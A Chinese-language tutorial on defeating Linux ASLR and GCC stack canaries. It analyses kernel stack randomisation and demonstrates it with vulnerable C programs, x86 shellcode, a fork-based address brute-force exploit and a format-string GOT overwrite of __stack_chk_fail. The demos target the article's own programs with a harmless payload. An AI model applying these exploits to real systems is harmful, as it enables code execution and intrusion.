突破ASLR保護和編譯器棧保護
ASLR(Address space layout randomization)是一種針對緩衝區溢位的安全保護技術,通過對棧、共享庫對映等線性區佈局的隨機化,防止攻擊者定位攻擊程式碼位置,達到阻止溢位攻擊的目的。據研究表明ASLR可以有效的降低緩衝區溢位攻擊的成功率,如今Linux、FreeBSD、Windows等主流作業系統都已採用了該技術。
以下是在Ubuntu7.04上對地址空間佈局的測試:
[test.c]
#include <stdlib.h>
#include <unistd.h>
main()
{
char *i;
char buff[20];
i=malloc(20);
sleep(1000);
free(i);
}
[email protected]:~$ ps -aux|grep test
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
lk 8731 0.0 0.0 1632 332 pts/0 S+ 18:49 0:00 ./test
lk 8766 0.0 0.0 2884 748 pts/1 R+ 18:49 0:00 grep test
[email protected]:~$ cat /proc/8731/maps
08048000-08049000 r-xp 00000000 08:01 2256782 /home/lk/Desktop/test
08049000-0804a000 rw-p 00000000 08:01 2256782 /home/lk/Desktop/test
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7e60000-b7e61000 rw-p b7e60000 00:00 0
b7e61000-b7f9c000 r-xp 00000000 08:01 12116 /lib/tls/i686/cmov/libc-2.5.so
b7f9c000-b7f9d000 r--p 0013b000 08:01 12116 /lib/tls/i686/cmov/libc-2.5.so
b7f9d000-b7f9f000 rw-p 0013c000 08:01 12116 /lib/tls/i686/cmov/libc-2.5.so
b7f9f000-b7fa2000 rw-p b7f9f000 00:00 0
b7fae000-b7fb0000 rw-p b7fae000 00:00 0
b7fb0000-b7fc9000 r-xp 00000000 08:01 12195 /lib/ld-2.5.so
b7fc9000-b7fcb000 rw-p 00019000 08:01 12195 /lib/ld-2.5.so
bfe86000-bfe9c000 rw-p bfe86000 00:00 0 [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
[email protected]:~$ ps -aux|grep test
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
lk 8781 0.0 0.0 1632 332 pts/0 S+ 18:49 0:00 ./test
lk 8785 0.0 0.0 2884 748 pts/1 R+ 18:49 0:00 grep test
[email protected]:~$ cat /proc/8781/maps
08048000-08049000 r-xp 00000000 08:01 2256782 /home/lk/Desktop/test
08049000-0804a000 rw-p 00000000 08:01 2256782 /home/lk/Desktop/test
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7e1e000-b7e1f000 rw-p b7e1e000 00:00 0
b7e1f000-b7f5a000 r-xp 00000000 08:01 12116 /lib/tls/i686/cmov/libc-2.5.so
b7f5a000-b7f5b000 r--p 0013b000 08:01 12116 /lib/tls/i686/cmov/libc-2.5.so
b7f5b000-b7f5d000 rw-p 0013c000 08:01 12116 /lib/tls/i686/cmov/libc-2.5.so
b7f5d000-b7f60000 rw-p b7f5d000 00:00 0
b7f6c000-b7f6e000 rw-p b7f6c000 00:00 0
b7f6e000-b7f87000 r-xp 00000000 08:01 12195 /lib/ld-2.5.so
b7f87000-b7f89000 rw-p 00019000 08:01 12195 /lib/ld-2.5.so
bfe23000-bfe39000 rw-p bfe23000 00:00 0 [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
通過兩次執行後對比/proc下的程序資訊可以發現程序棧和共享庫對映的地址空間都有了較大的變化,這使得以往通過esp值來猜測shellcode地址的成功率大大降低了。Phrack59期有一篇文章介紹過使用return-into-libc的方法突破ASLR保護,不過存在著較大的條件限制,milw0rm的一篇文章也介紹了通過搜尋linux-gate.so.1中的jmp %esp指令從而轉向執行shellcode的方法,不過由於現在的編譯器將要恢復的esp值儲存在棧中,因此也不能繼續使用,下面要介紹的是將 shellcode放在環境變數中的通用方法。
將shellcode放在環境變數中是比較早期的一種技術,不過在突破ASLR保護時仍能起到很好的效果,要了解其中的原因,首先要分析一下可執行檔案的載入過程。Linux系統中提供了execve()系統呼叫,用來將可執行檔案描述的新文境替換原程序的文境,execve()系統呼叫的核心入口是 sys_execve(),sys_execve()將可執行檔案的路徑名拷貝到核心空間後呼叫do_execve(),並將路徑名指標、argv陣列指標、envp陣列指標和pt_regs結構指標傳遞給它。do_execve()分配一個linux_binprm結構,用可執行檔案的資料填充該結構,包括呼叫copy_strings_kernel()和copy_strings()將可執行檔案的路徑名、環境變數字串、命令列引數字串拷貝到 linux_binprm結構的page指標陣列指向的核心頁面中(從後往前拷),然後通過search_binary_handler()搜尋並呼叫可執行檔案對應的載入函式,其中elf檔案對應的是load_elf_binary()。
struct linux_binprm{
char buf[BINPRM_BUF_SIZE];
struct page *page[MAX_ARG_PAGES];
struct mm_struct *mm;
unsigned long p; /* current top of mem */
int sh_bang;
struct file * file;
int e_uid, e_gid;
kernel_cap_t cap_inheritable, cap_permitted, cap_effective;
void *security;
int argc, envc;
char * filename; /* Name of binary as seen by procps */
char * interp; /* Name of the binary really executed. Most
of the time same as filename, but could be
different for binfmt_{misc,script} */
unsigned interp_flags;
unsigned interp_data;
unsigned long loader, exec;
};
load_elf_binary()的主要流程是把page指標陣列指向的核心頁面映射回使用者空間,接著將可執行檔案和直譯器的部分割槽段對映到使用者空間,並設定使用者空間棧上的argc,argv[],envp[]和直譯器將用到的輔助向量。為了將page指標陣列指向的頁面對映到使用者空間,load_elf_binary()中呼叫了setup_arg_pages(),對應程式碼如下:
retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP), executable_stack);
其中,STACK_TOP的值通常等於0xc0000000,即使用者空間的頂端,randomize_stack_top()首先判斷核心是否開啟了 ASLR保護,如果開啟,則呼叫get_random_int()獲得一個隨機數,並和STACK_RND_MASK(0x7ff)相與後再左移 PAGE_SHIFT(12)位得到random_variable,最後將stack_top按頁邊界對齊後減去random_variable,得到最終的stack_top值,由此我們可以算出stack_top可能的最小值為0xc0000000-0x7ff000=0xbf801000。
static unsigned long randomize_stack_top(unsigned long stack_top)
{
unsigned int random_variable = 0;
if ((current->flags & PF_RANDOMIZE) &&
!(current->personality & ADDR_NO_RANDOMIZE)) {
random_variable = get_random_int() & STACK_RND_MASK;
random_variable <<= PAGE_SHIFT;
}
#ifdef CONFIG_STACK_GROWSUP
return PAGE_ALIGN(stack_top) + random_variable;
#else
return PAGE_ALIGN(stack_top) - random_variable;
#endif
}
stack_base的值是按以下程式碼確定的:
stack_base = arch_align_stack(stack_top - MAX_ARG_PAGES*PAGE_SIZE);
stack_base = PAGE_ALIGN(stack_base);
其中,MAX_ARG_PAGES和PAGE_SIZE的值分別為32和4096,即引數的總長度不得超過32個頁面。通過將sp減去一個隨機數除 8192的餘數後,末尾四位取0,再進行PAGE_ALIGN,可以得到最終的stack_base值,由此可以算出stack_base可能的最小值為 0xbf7df000。
unsigned long arch_align_stack(unsigned long sp)
{
if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
sp -= get_random_int() % 8192;
return sp & ~0xf;
}
最後setup_arg_pages()通過迴圈呼叫install_arg_page將page指標陣列指向的核心頁面對映到使用者空間中stack_base開始的區域:
for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
struct page *page = bprm->page[i];
if (page) {
bprm->page[i] = NULL;
install_arg_page(mpnt, page, stack_base);
}
stack_base += PAGE_SIZE;
}
這時,使用者空間棧的佈局如下:
(記憶體高址)
---------- stack_top
+ …… +
----------
+ NULL +
----------
+ 路徑名 +
----------
+ 環境變數字串 +
----------
+ 命令列引數字串 +
----------
+ …… +
---------- stack_base
(記憶體低址)
通過以上分析可以得到:(1)、當向程式傳遞相同的環境變數時,即使stack_base的值是不固定的,但環境變數字串在頁內的偏移卻是一個固定的值,也就是環境變數字串地址的末尾3位是固定的。(2)、由於stack_base的可能最小值不會小於0xbf7df000,因此環境變數字串的地址總是高於0xbf7df000。
當我們把shellcode作為環境變數傳遞給被攻擊程式時,便可通過路徑名長度和shellcode長度確定shellcode地址的末尾3位,而頭2 位則是固定的bf,中間3位的範圍是7df~fff,這只是一個很小的區間,如果同時開啟多個程序以不同地址進行嘗試的話,很快便能命中我們的 shellcode。
以下是演示程式:
[vul.c]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc,char **argv)
{
char buff[200];
printf("SCD(%p)/n",getenv("SCD"));
strcpy(buff,argv[1]);
}
[shellcode]
.section .data
.globl _start
_start:
jmp 2f
1:
popl %esi
xorl %eax,%eax
movb %al,0x3(%esi)
movl %esi,0x4(%esi)
movl %eax,0x8(%esi)
movl 0x8(%esi),%edx
leal 0x4(%esi),%ecx
movl %esi,%ebx
movb $0xb,%al
int $0x80
2:
call 1b
.string "run"
[run.c]
#include <stdlib.h>
main()
{
system("touch test");
system("killall exp");
}
[exp.c]
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
char scd[]="SCD=/x90/x90/x90/x90/xeb/x18/x5e/x31/xc0/x88/x46/x03/x89/x76/x04/x89/x46/x08/x8b/x56/x08/x8d/x4e/x04/x89/xf3/xb0/x0b/xcd/x80/xe8/xe3/xff/xff/xffrun";
int main(int argc,char **argv)
{
int i,j,addr;
char buff[240];
char *sargv[]={"vul",buff,NULL};
char *senvp[]={scd,NULL};
addr=0xbfa81fd1;
for(i=0;i<20;i++)
{
printf("try SCD addr 0x%x/n",addr);
*((int *)scd+1)=addr+4;
for(j=0;j<60;j++)
*((int *)buff+j)=addr+4;
if(fork()==0)
{
while(1)
{
if(fork()==0)
{
execve(sargv[0],sargv,senvp);
exit(EXIT_FAILURE);
}
wait(NULL);
}
}
addr+=0x1000;
}
}
其中vul.c是漏洞程式,shellcode的功能是執行run程式,run程式在當前目錄下建立一個test檔案,並結束exp程序。將頁面大小 4096減去NULL指標的長度4,再減去路徑名"vul"的長度4和scd陣列的長度43,再加上開頭4個字元的長度,最後便可得到shellcode 在頁面內的偏移值fd1,同時開啟20個程序分別以0xbfa81fd1等不同地址進行嘗試,很快目錄下便出現test檔案,證明我們的 shellcode如期執行了。
為了防止棧溢位攻擊,高版本的gcc通常會在編譯時為區域性變數含有char陣列的函式中加入保護程式碼,通過:
0x08048481 <main+29>: mov %gs:0x14,%eax
0x08048487 <main+35>: mov %eax,0xfffffff8(%ebp)
把一個canary word儲存在棧中,在函式返回時再通過:
0x080484dd <main+121>: mov 0xfffffff8(%ebp),%edx
0x080484e0 <main+124>: xor %gs:0x14,%edx
0x080484e7 <main+131>: je 0x80484ee <main+138>
0x080484e9 <main+133>: call 0x80483a8 <[email protected]>
檢查該值是否被覆蓋,從而判斷是否發生棧溢位並轉向相應的處理流程。另外,gcc還會調整區域性變數的位置,把char陣列挪到較高處,防止溢位時覆蓋其它重要變數。這些措施在一定程度上增加了溢位攻擊攻擊的難度,但在某些特定情況下也可能被繞過,比如:
[vul.c]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(int argc,char **argv)
{
int fd;
char buff[200];
printf("SCD(%p)/n",getenv("SCD"));
strcpy(buff,argv[1]);
fd=open("/dev/null",O_RDWR);
dup2(fd,1);
printf(buff);
}
當存在可寫任意記憶體地址漏洞時(某些棧溢位漏洞也可能導致寫任意記憶體地址,為了演示方便,使用了format string漏洞),可以通過修改__stack_chk_fail對應的GOT項從而改變程式的執行流程。
[email protected]:~/Desktop$ gdb vul -q
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x080484a4 <main+0>: lea 0x4(%esp),%ecx->ecx等於esp+4
0x080484a8 <main+4>: and $0xfffffff0,%esp
0x080484ab <main+7>: pushl 0xfffffffc(%ecx)
0x080484ae <main+10>: push %ebp
0x080484af <main+11>: mov %esp,%ebp
0x080484b1 <main+13>: push %ecx->把ecx的值儲存在棧中
0x080484b2 <main+14>: sub $0xe4,%esp->這時的esp等於ebp-232
0x080484b8 <main+20>: mov 0x4(%ecx),%eax
0x080484bb <main+23>: mov %eax,0xffffff28(%ebp)->把argv指標陣列的指標儲存在ebp-216處
0x080484c1 <main+29>: mov %gs:0x14,%eax
0x080484c7 <main+35>: mov %eax,0xfffffff8(%ebp)->把canary word儲存在ebp-8處
0x080484ca <main+38>: xor %eax,%eax
0x080484cc <main+40>: movl $0x804862c,(%esp)
0x080484d3 <main+47>: call 0x8048398 <[email protected]>
0x080484d8 <main+52>: mov %eax,0x4(%esp)
0x080484dc <main+56>: movl $0x8048630,(%esp)
0x080484e3 <main+63>: call 0x80483d8 <[email protected]>
0x080484e8 <main+68>: mov 0xffffff28(%ebp),%eax
0x080484ee <main+74>: add $0x4,%eax
0x080484f1 <main+77>: mov (%eax),%eax
0x080484f3 <main+79>: mov %eax,0x4(%esp)->把argv[1]放入esp+4處
0x080484f7 <main+83>: lea 0xffffff30(%ebp),%eax->buff的位置在ebp-208處
---Type <return> to continue, or q <return> to quit---
0x080484fd <main+89>: mov %eax,(%esp)->把buff指標放入esp處
0x08048500 <main+92>: call 0x80483c8 <[email protected]>->執行strcpy
0x08048505 <main+97>: movl $0x2,0x4(%esp)
0x0804850d <main+105>: movl $0x8048639,(%esp)
0x08048514 <main+112>: call 0x8048378 <[email protected]>
0x08048519 <main+117>: mov %eax,0xffffff2c(%ebp)
0x0804851f <main+123>: movl $0x1,0x4(%esp)
0x08048527 <main+131>: mov 0xffffff2c(%ebp),%eax
0x0804852d <main+137>: mov %eax,(%esp)
0x08048530 <main+140>: call 0x80483b8 <[email protected]>
0x08048535 <main+145>: lea 0xffffff30(%ebp),%eax
0x0804853b <main+151>: mov %eax,(%esp)->把buff指標放入esp處
0x0804853e <main+154>: call 0x80483d8 <[email protected]>->執行printf
0x08048543 <main+159>: mov 0xfffffff8(%ebp),%edx
0x08048546 <main+162>: xor %gs:0x14,%edx->比較canary word是否改變
0x0804854d <main+169>: je 0x8048554 <main+176>->相等則正常返回
0x0804854f <main+171>: call 0x80483e8 <[email protected]>->不等則轉向失敗處理
0x08048554 <main+176>: add $0xe4,%esp
0x0804855a <main+182>: pop %ecx->恢復ecx的值
0x0804855b <main+183>: pop %ebp
0x0804855c <main+184>: lea 0xfffffffc(%ecx),%esp->esp等於ecx-4
0x0804855f <main+187>: ret
End of assembler dump.
(gdb) x/i 0x80483e8
0x80483e8 <[email protected]>: jmp *0x8049758->要寫入的記憶體地址為0x8049758
(gdb)
[run.c]
#include <stdlib.h>
main()
{
system("touch test");
}
[exp.c]
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char scd[]="SCD=/x90/x90/x90/x90/xeb/x18/x5e/x31/xc0/x88/x46/x03/x89/x76/x04/x89/x46/x08/x8b/x56/x08/x8d/x4e/x04/x89/xf3/xb0/x0b/xcd/x80/xe8/xe3/xff/xff/xffrun";
int main(int argc,char **argv)
{
int i,j,addr;
char buff[240];
char *sargv[]={"vul",buff,NULL};
char *senvp[]={scd,NULL};
addr=0xbfffffd1;
*((int *)buff)=0x8049758;
strcpy(buff+4,"%700000000u%700000000u%700000000u%700000000u%");
addr=addr-2800000004;
j=strlen(buff);
sprintf(buff+j,"%uu",addr);
strcat(buff,"%n");
for(i=strlen(buff);i<sizeof(buff);i++)
buff[i]='A';
buff[239]='/0';
execve(sargv[0],sargv,senvp);
}
另外,經過測試,當char陣列小於8時,gcc不會在編譯過程中加入保護程式碼,這時可以按照傳統的方法溢位。而在ubuntu、debian系統中,canary word是一個固定的數0xff0a0000,因此有可能通過多次覆蓋或者基於memcpy的棧溢位繞過該保護。